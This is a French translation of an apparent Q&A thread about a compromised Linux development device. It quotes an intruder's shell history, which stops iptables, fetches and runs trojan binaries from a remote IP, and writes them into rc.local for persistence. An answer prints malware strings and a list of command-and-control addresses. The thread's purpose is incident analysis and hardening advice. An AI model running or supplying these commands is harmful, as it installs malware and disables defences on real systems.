Est-ce que je viens de me faire pirater?

491

Je développe un produit grand public censé être connecté à Internet. Il est donc connecté à Internet afin que je puisse le développer correctement.

Je suis parti pendant une heure ou deux et quand je suis rentré dans mon bureau, j'ai remarqué d'étranges commandes écrites dans le terminal.

En regardant le fichier journal Linux appelé, auth.logje peux voir les lignes suivantes (parmi beaucoup d'autres):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

L’adresse IP 40.127.205.162s’avère appartenir à Microsoft .

Voici un tas de commandes qui ont été utilisées pendant mon absence:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

Et plus:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

J'étais complètement inconscient de cela. Comment sécuriser correctement mon produit?

Je voudrais poster le auth.logfichier complet . Comment je fais ça?

En outre, le fichier yjz1téléchargé semble être un cheval de Troie Linux et tout cela semble être effectué par un groupe de hacker, selon http://anti-hacker-alliance.com/index.php?ip=40.127.205.162.

Dois-je appeler Microsoft et leur parler? Que devrais-je faire?

vaid
la source
40
Ouais ça n'a pas l'air bien. Je ne suis en aucun cas un expert en Linux, mais certains ont certainement essayé de s’exécuter là-bas. Je ne suis pas tout à fait sûr de savoir comment, car il semble que le système a tenté de se connecter en tant que root et a échoué. Y a-t-il d'autres journaux dans votre auth.log? Tout autre moyen d'administration à distance? J'ai déjà vu des Mac avec serveur VNC activé se faire pirater auparavant, bien que cela ressemble à une tentative SSH. On dirait que les adresses IP à partir desquelles il se télécharge sont hébergées quelque part en Chine.
Jonno
68
Vous avez été forcé brute. C'est pourquoi on ne laisse pas de serveur SSH sur Internet, même si vous avez un mot de passe. Tout ce qui ne correspond pas à une clé d'authentification n'est pas assez sécurisé de nos jours.
Journeyman Geek
80
Eh bien, nous avons security.stackexchange.com . Mais tout d’abord, il n’est plus possible de faire confiance à l’hôte compromis. Enlevez-le du réseau. Si possible, faites une sauvegarde afin de pouvoir rechercher ce qui a été fait et comment. Ensuite, réinstallez le système d'exploitation à partir d'une source propre. Restaurez les données des sauvegardes. Sécurisez le système pour ne plus être infecté. Il est vivement recommandé de savoir comment ils sont entrés. (D'où la recommandation de faire une copie du système infecté).
Hennes
84
FYI: 40.127.205.162 est une adresse IP Microsoft Azure selon GeoIP. Par conséquent, vous ne pouvez pas blâmer Microsoft pour l'attaque. Cela équivaut à blâmer Amazon parce que quelqu'un a utilisé EC2 pour le spam. La seule chose que Microsoft puisse réellement faire est de dissuader les attaquants d’Azure, mais ils seront de retour sur une plate-forme cloud différente dans peu de temps.
nneonneo
41
En fait, si cela a été écrit dans votre terminal, le pirate informatique est probablement assis dans la cabine suivante.
Isanae

Réponses:

486

EDIT 2 :

il y a une bonne raison pour laquelle ce message attire autant d'attention: vous avez réussi à enregistrer la totalité de la session en direct d'un intrus sur votre PC. Ceci est très différent de notre expérience quotidienne, où nous traitons avec la découverte des conséquences de ses actions et essayons de les réparer. Nous le voyons ici au travail, le voyons avoir des problèmes pour établir la porte arrière, reviennent sur ses pas, travaillent fébrilement (peut-être parce qu'il était assis à votre bureau, comme suggéré ci-dessus, ou peut-être, et à mon avis plus probablement, parce qu'il était impossible de faire fonctionner son logiciel malveillant sur le système (voir ci-dessous) et essayez de déployer des instruments de contrôle entièrement autonomes. C’est ce que les chercheurs en sécurité observent quotidiennement avec leurs pièges à miel . Pour moi, c'est une chance très rare, et la source de l'amusement.


Vous avez certainement été piraté. La preuve de cela ne provient pas de l'extrait de auth.logfichier que vous avez affiché, car cela signale une tentative de connexion infructueuse, sur une période de temps courte (deux secondes). Vous remarquerez que la deuxième ligne indique Failed password, tandis que la troisième indique une pre-authdéconnexion: le gars a essayé et a échoué.

Les preuves proviennent plutôt du contenu des deux fichiers http://222.186.30.209:65534/yjzet http://222.186.30.209:65534/yjz1que l'attaquant a téléchargé sur votre système.

Le site est actuellement ouvert à toute personne pour les télécharger, ce que j'ai fait. J'ai d'abord couru filesur eux, ce qui a montré:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Je les ai ensuite amenés sur une machine virtuelle Debian 64 bits que j'ai; un examen de leur contenu dans la stringscommande révéla beaucoup d'éléments suspects (références à diverses attaques connues, commandes à remplacer, script clairement utilisé pour configurer un nouveau service, etc.).

J'ai ensuite produit les hachages MD5 des deux fichiers et les ai alimentés dans la base de données de hachage de Cymru pour voir s'ils étaient des agents connus de programmes malveillants. Bien que yjzn'est pas, yjz1est, et Cymru fait état d' une probabilité de détection par les logiciels anti-virus de 58%. Il est également indiqué que ce fichier a été vu pour la dernière fois il y a trois jours environ et qu'il est donc relativement récent.

Exécuter clamscan (une partie du clamavpaquet) sur les deux fichiers que j'ai obtenus:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

Nous sommes maintenant certains que les logiciels standard Linux peuvent l'identifier.

Que devrais tu faire?

Bien que relativement nouveau, aucun des deux systèmes ne soit très récent, consultez cet article de janvier 2015 sur XorDdos , par exemple. Donc, la plupart des paquets gratuits devraient pouvoir le supprimer. Vous devriez essayer: clamav, rkhunter, chkrootkit. J'ai googlé autour de moi et vu qu'ils prétendent pouvoir le repérer. Utilisez-les pour vérifier le travail du prédécesseur, mais après avoir exécuté ces trois programmes, vous devriez être prêt à commencer.

Pour ce qui est de la question plus générale, what should you do to prevent future infectionsla réponse de Compagnon est un bon premier pas. Gardez simplement à l’esprit que c’est un combat permanent, un combat que nous pouvons tous (y compris moi!) Perdre sans le savoir.

EDIT :

À l'invite (indirecte) de Viktor Toth, j'aimerais ajouter quelques commentaires. Certes, l'intrus a rencontré certaines difficultés: il télécharge deux outils de piratage distincts, modifie leurs autorisations à plusieurs reprises, les redémarre plusieurs fois et tente à plusieurs reprises de désactiver le pare-feu. Il est facile de deviner ce qui se passe: il s'attend à ce que ses outils de piratage ouvrent un canal de communication vers l'un de ses ordinateurs infectés (voir plus loin) et, lorsqu'il ne voit pas ce nouveau canal apparaître sur son interface graphique de contrôle, il craint son piratage. L’outil est bloqué par le pare-feu, il répète donc la procédure d’installation. Je suis d'accord avec Viktor Toth pour dire que cette étape de son opération ne semble pas porter les fruits escomptés, mais je voudrais vous encourager très fortement. ne sous-estimez pas l'étendue des dégâts infligés à votre ordinateur.

Je fournis ici une sortie partielle de strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Ceci fournit la preuve de la falsification des services (in /etc/init.det in /etc/rc.d), avec crontab, avec l'historique des fichiers mysqlet quelques fichiers contenant des procliens bash(ce qui suggère qu'une version frauduleuse de votre shell a été créée). Ensuite, le programme génère une requête HTTP (vers un site de langue chinoise,

 Accept-Language: zh-cn

ce qui donne de la substance au commentaire de David Schwartz ci-dessus), ce qui peut créer encore plus de dégâts. Dans la requête, les fichiers binaires ( Content-Type: application/x-www-form-urlencoded) doivent être téléchargés sur le PC attaqué (GET) et téléchargés sur la machine de contrôle (POST). Je ne pouvais pas établir ce qui serait téléchargé à l'ordinateur attaqué, mais, compte tenu de la petite taille des deux yjzet yjz1(1.1MB et 600kB, repectively), je peux oser supposer que la plupart des fichiers nécessaires pour masquer le rootkit, à savoir le règlement modifié versions ls, netstat, ps, ifconfig, ..., seraient téléchargés de cette façon. Et cela expliquerait les tentatives fiévreuses de l'attaquant pour lancer ce téléchargement.

Il n’est pas certain que ce qui précède épuise toutes les possibilités: il nous manque certainement une partie de la transcription (entre les lignes 457 et 481) et nous ne voyons pas de déconnexion; De plus, les lignes 495 à 497 sont particulièrement inquiétantes.

cd /tmp;  ./yd_cd/make

qui font référence à un fichier que nous n'avons pas vu téléchargé, et qui pourrait être une compilation: dans l'affirmative, cela signifie que l'attaquant a (enfin?) compris quel était le problème avec ses exécutables, et qu'il essayait de le réparer, auquel cas le PC attaqué est allé pour de bon. [En fait, les deux versions du malware que l'attaquant a téléchargé sur la machine piratée (et moi sur ma machine virtuelle Debian 64 bits) correspondent à une architecture inappropriée, x86, alors que le seul nom du PC piraté indique le fait que il avait affaire à une architecture de bras].

La raison pour laquelle j’ai écrit cette modification est de vous inciter aussi fortement que possible à peigner votre système avec un instrument professionnel ou à effectuer une nouvelle installation à partir de zéro.

Et, à propos, si cela devait être utile à qui que ce soit, voici la liste des 331 adresses IP auxquelles yjztente de se connecter. Cette liste est si longue (et probablement destinée à le devenir encore) que je pense que c’est la raison pour laquelle elle a été falsifiée mysql. La liste fournie par l’autre porte dérobée est identique, ce qui, je suppose, est la raison pour laquelle nous avons laissé ouverte une information aussi importante (je pense que l’attaquant ne souhaitait pas faire l'effort de le stocker au format noyau, donc il a mis la liste entière dans un fichier en texte clair, qui est probablement lu par tous ses backdoors, quel que soit le système d'exploitation utilisé:

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Le code suivant

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

sur la liste ci-dessus montre que 302 sur un total de 331 adresses sont en Chine continentale, les autres sont à Hong Kong, en Mongolie, à Taiwan. Cela renforce encore l'affirmation de David Schwartz selon laquelle il s'agit principalement d'un réseau de robots chinois.

EDIT 3

À la demande de @ vaid (l'auteur de l'OP, lisez son commentaire ci-dessous), je vais ajouter un commentaire sur la manière de renforcer la sécurité d'un système Linux de base (pour un système fournissant de nombreux services, il s'agit d'un sujet beaucoup plus complexe). vaiddéclare qu'il a fait ce qui suit:

  1. Réinstaller le système

  2. changé le mot de passe root en un mot de passe de 16 caractères avec des lettres minuscules et majuscules, des caractères et des chiffres.

  3. Changé le nom d'utilisateur en un nom d'utilisateur long composé de 6 caractères et applique le même mot de passe que celui utilisé pour root

  4. changé le port SSH à quelque chose de plus de 5000

  5. désactivé la connexion root SSH.

C'est bon (sauf que j'utilise un port supérieur à 10 000, car de nombreux programmes utiles utilisent les ports inférieurs à 10 000). Mais je ne saurais trop insister sur la nécessité d’utiliser des clés cryptographiques pour la connexion SSH , au lieu des mots de passe. Je vais vous donner un exemple personnel. Sur l'un de mes VPS, j'étais incertain de changer le port ssh; Je l'ai laissé à 22 ans, mais j'ai utilisé des clés de chiffrement pour l'authentification. J'ai eu des centaines de tentatives d'effraction par jour , aucune n'a réussi. Quand, fatigué de vérifier chaque jour que personne n’avait réussi, j’ai finalement basculé le port à plus de 10 000, les tentatives d’intrusion sont passées à zéro. Remarquez, ce n'est pas que les pirates informatiques sont stupides (ils ne le sont pas!), Ils traquent simplement une proie plus facile.

Il est facile d'activer une clé cryptographique avec RSA comme algorithme de signature, voir le commentaire ci-dessous de Jan Hudec (merci!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Il ne vous reste plus qu'à copier le fichier id_rsasur la machine à laquelle vous souhaitez vous connecter (dans un répertoire .ssh, également chmodédité à 700), puis à lancer la commande

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Lorsque vous êtes sûr que cela fonctionne, éditez le fichier sur le serveur (= la machine à laquelle vous souhaitez vous connecter) /etc/ssh/sshd_configet modifiez la ligne.

#PasswordAuthentication yes

à

PasswordAuthentication no

et redémarrez le sshservice ( service ssh restartou systemctl restart sshquelque chose comme ça, selon la distribution).

Cela résistera beaucoup. En fait, il n’existe actuellement aucun exploit connu contre les versions actuelles openssh v2de RSA et de RSA utilisées par openssh v2.

Enfin, pour vraiment verrouiller votre machine, vous devrez configurer le pare-feu (netfilter / iptables) comme suit:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Ceci, 1) permet les connexions SSH à partir de LAN et de WAN, 2) autorise toutes les entrées générées par vos demandes (par exemple, lorsque vous chargez une page Web), 3) supprime tout le reste de l’entrée, 4) autorise tout la sortie, et 5-6) permet tout sur l’interface de bouclage.

Au fur et à mesure que vos besoins grandissent et que de plus en plus de ports doivent être ouverts, vous pouvez le faire en ajoutant en haut de la liste des règles telles que:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

pour permettre, par exemple, à des personnes d'accéder à votre navigateur Web.

MariusMatutiae
la source
11
C'était génial à lire. J'ai aussi essayé le fichier yjz1via Googles VirusTotal.com qui a donné un résultat positif. Je n'ai même pas vu que cela yjzavait été téléchargé. Merci.
vaid
34
Soyez prudent stringslorsque vous utilisez des données non fiables. lcamtuf.blogspot.com/2014/10/...
Matt Nordhoff
5
@ MattNordhoff Merci de l'avoir signalé, je n'en étais absolument pas conscient. Cependant, sur ma Debian, la commande 'strings` passe avec succès le test que vous avez lié. Je suppose que cela est dû au fait que le manuel indique: -a ... Normalement, il s’agit du comportement par défaut . À votre santé.
MariusMatutiae
32
Cette réponse montre une approche qui devrait être un paradigme: 1. Ne laissez pas votre attention être détournée par des tentatives infructueuses, soyez alerté. 2. Individuez les actions réussies de l'attaquant. 3. Etudiez quoi et comment l'attaquant a fait. 4. Installez le tout à partir de zéro ou de la dernière sauvegarde non corrompue (attaquée) en ajoutant les protections supplémentaires nécessaires que vous avez trouvées (point 3). 5. Aidez les autres à se protéger (la liste des adresses IP compromises / suspectes).
Hastur
11
[Expurgé après le commentaire de @MariusMatutiae] - Néanmoins, le PO devrait se rendre compte que sur un système compromis, chaque exécutable doit être considéré comme malveillant, même le shell ls, whoou toute autre chose. "Récupérer des données" en utilisant n’importe quel exécutable sur le système compromis (par exemple scpou rsync) pourrait compromettre encore plus de machines.
Dubu
142

Bienvenue sur Internet - où tout serveur SSH ouvert risque d’être sondé, forcé de force et soumis à diverses indignités.

Pour commencer, vous devez effacer complètement la mémoire de stockage du produit. Imaginez-le si vous voulez le transmettre aux experts judiciaires, mais l'installation de Linux sur celui-ci est maintenant suspecte.

Peu de devinettes mais

  1. Vous avez été forcé ou utilisez un mot de passe commun. C'est la sécurité par obscurité, mais vous ne voulez pas de mot de passe pour le dictionnaire ou pour utiliser un compte root ouvert sur SSH. Désactivez l’accès SSH racine s’il s’agit d’une option ou modifiez au moins le nom afin qu’ils aient à deviner les deux. SSHing en tant que racine est de toute façon une pratique de sécurité terrible. Si vous devez utiliser root, connectez-vous en tant qu'autre utilisateur et utilisez su ou sudo pour basculer.

  2. Selon le produit, vous souhaiterez peut-être verrouiller l'accès SSH d'une manière ou d'une autre. Un verrouillage total semble être une bonne idée et permet aux utilisateurs de l'ouvrir au besoin . En fonction des ressources que vous pouvez économiser, envisagez d'autoriser uniquement les adresses IP dans votre propre sous-réseau ou un système de limitation de connexion. Si vous n'en avez pas besoin sur le produit final, assurez-vous qu'il est désactivé.

  3. Utilisez un port non standard. Sécurité par obscurité, encore une fois, mais cela signifie qu'un attaquant doit cibler votre port.

  4. Ne jamais utiliser un mot de passe par défaut. La meilleure approche que j'ai vue consiste à générer de manière aléatoire un mot de passe pour un périphérique spécifique et à l'expédier avec votre produit. La meilleure pratique est l'authentification basée sur la clé, mais je ne sais pas comment aborder cette question avec un produit de masse.

Compagnon Geek
la source
76
5. Utilisez si possible la clé publique auth. L'authentification par mot de passe est beaucoup, beaucoup moins sécurisée.
Bob
4
Oui, mais si c'est un appareil grand public, ce n'est peut-être pas une option. Sur une boîte de dev, cela semble être une idée brillante. Sur un serveur, eh bien, je me suis fait pirater avant; p
Compagnon Geek
2
S'il s'agit d'un appareil grand public, le même mot de passe aléatoire ou la même clé sur chacun d'entre eux est également une mauvaise idée. Tout ce qui est basé sur son numéro de série, son adresse MAC ou des informations identifiables d'une autre manière. (Quelque chose que beaucoup de modems / routeurs / WAP de SoHO semblent avoir manqué).
Hennes
2
C'est un appareil grand public. Cependant, la grande majorité des consommateurs ciblés ne seront pas suffisamment informés pour savoir ce qu'est la SSH. Donc, SSH peut être désactivé et sera probablement désactivé.
vaid
2
Aussi, utilisez fail2ban .
Shadur
34

Oh, vous avez été définitivement piraté. Quelqu'un semble avoir pu obtenir les informations d'identification de la racine et tenté de télécharger un cheval de Troie sur votre système. MariusMatutiae a fourni une analyse de la charge utile.

Deux questions se posent: a) l'attaquant a-t-il réussi? Et b) que pouvez-vous faire à ce sujet?

La réponse à la première question peut être un non. Notez que l'attaquant tente à plusieurs reprises de télécharger et d'exécuter le contenu, apparemment sans succès. Je soupçonne que quelque chose (SELinux, peut-être?) Lui faisait obstacle.

CEPENDANT: l’attaquant a également modifié votre /etc/rc.d/rc.localfichier, dans l’espoir que, lorsque vous redémarrez votre système, la charge utile sera activée. Si vous n'avez pas encore redémarré le système, ne redémarrez pas avant d'avoir supprimé ces modifications /etc/rc.d/rc.local. Si vous l'avez déjà redémarré ... eh bien, bonne chance.

Pour ce qui est de ce que vous pouvez faire à ce sujet: La chose la plus sûre à faire est d’essuyer le système et de le réinstaller à partir de zéro. Mais cela peut ne pas toujours être une option. Une chose nettement moins sûre à faire est d’analyser exactement ce qui s’est passé et d’en effacer chaque trace, si vous le pouvez. Encore une fois, si vous n'avez pas encore redémarré le système, il vous suffira peut-être de nettoyer /etc/rc.d/rc.local, de supprimer tout ce qui aura été téléchargé par l'attaquant et enfin, de changer le mot de passe!

Toutefois, si l'attaquant était déjà en mesure d'exécuter la charge utile, d'autres modifications de votre système pourraient être difficiles à détecter. C'est pourquoi une lingette complète est vraiment la seule option sûre (et recommandée). Comme vous l'avez indiqué, le matériel en question peut constituer une cible de test / développement, il est donc peut-être inutile de l'essuyer, ce qui est moins douloureux que dans d'autres cas.

Mise à jour : Malgré ce que j'ai écrit sur une éventuelle reprise, je souhaite faire écho à la très forte recommandation de MariusMatutiae de ne pas sous-estimer les dommages potentiels causés par cette charge utile et la mesure dans laquelle cela aurait pu compromettre le système cible.

Viktor Toth
la source
2
Merci. J'ai décidé d'essuyer le système. Je l'ai redémarré plusieurs fois, mais pour copier quelques données essentielles. Pas de binaires, seulement du code source. Je suppose que je suis assez en sécurité maintenant.
Vaid
Qu'en est-il des autres boîtes sur le même réseau local?
WGroleau
Bonne question. L'historique de shell fourni n'indique aucune tentative de découverte et de compromission d'autres boîtes sur le même réseau. Plus généralement, si l'attaquant obtient l'accès SSH (racine) à une boîte, cela signifie essentiellement qu'il a contourné les pare-feu de périmètre. Cependant, cela n'implique pas automatiquement que d'autres boîtes sont compromises: cela nécessiterait autre chose comme une vulnérabilité non corrigée, des mots de passe partagés entre les boîtes, une connexion automatique d'une boîte à une autre, etc.
Viktor Toth le
18

Sshd-honeypot a également été témoin de ce type d'attaque. Les premiers téléchargements à partir de cette URL ont débuté le 29/01/2016, le 29/01/2012 et les attaques sont toujours en cours. Les attaques sont / venaient de

103.30.4.212
111.68.6.170
118.193.228.169

Les commentaires de ces attaquants étaient:

service iptables stop
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & 1 &
chmod 0777 yjz1
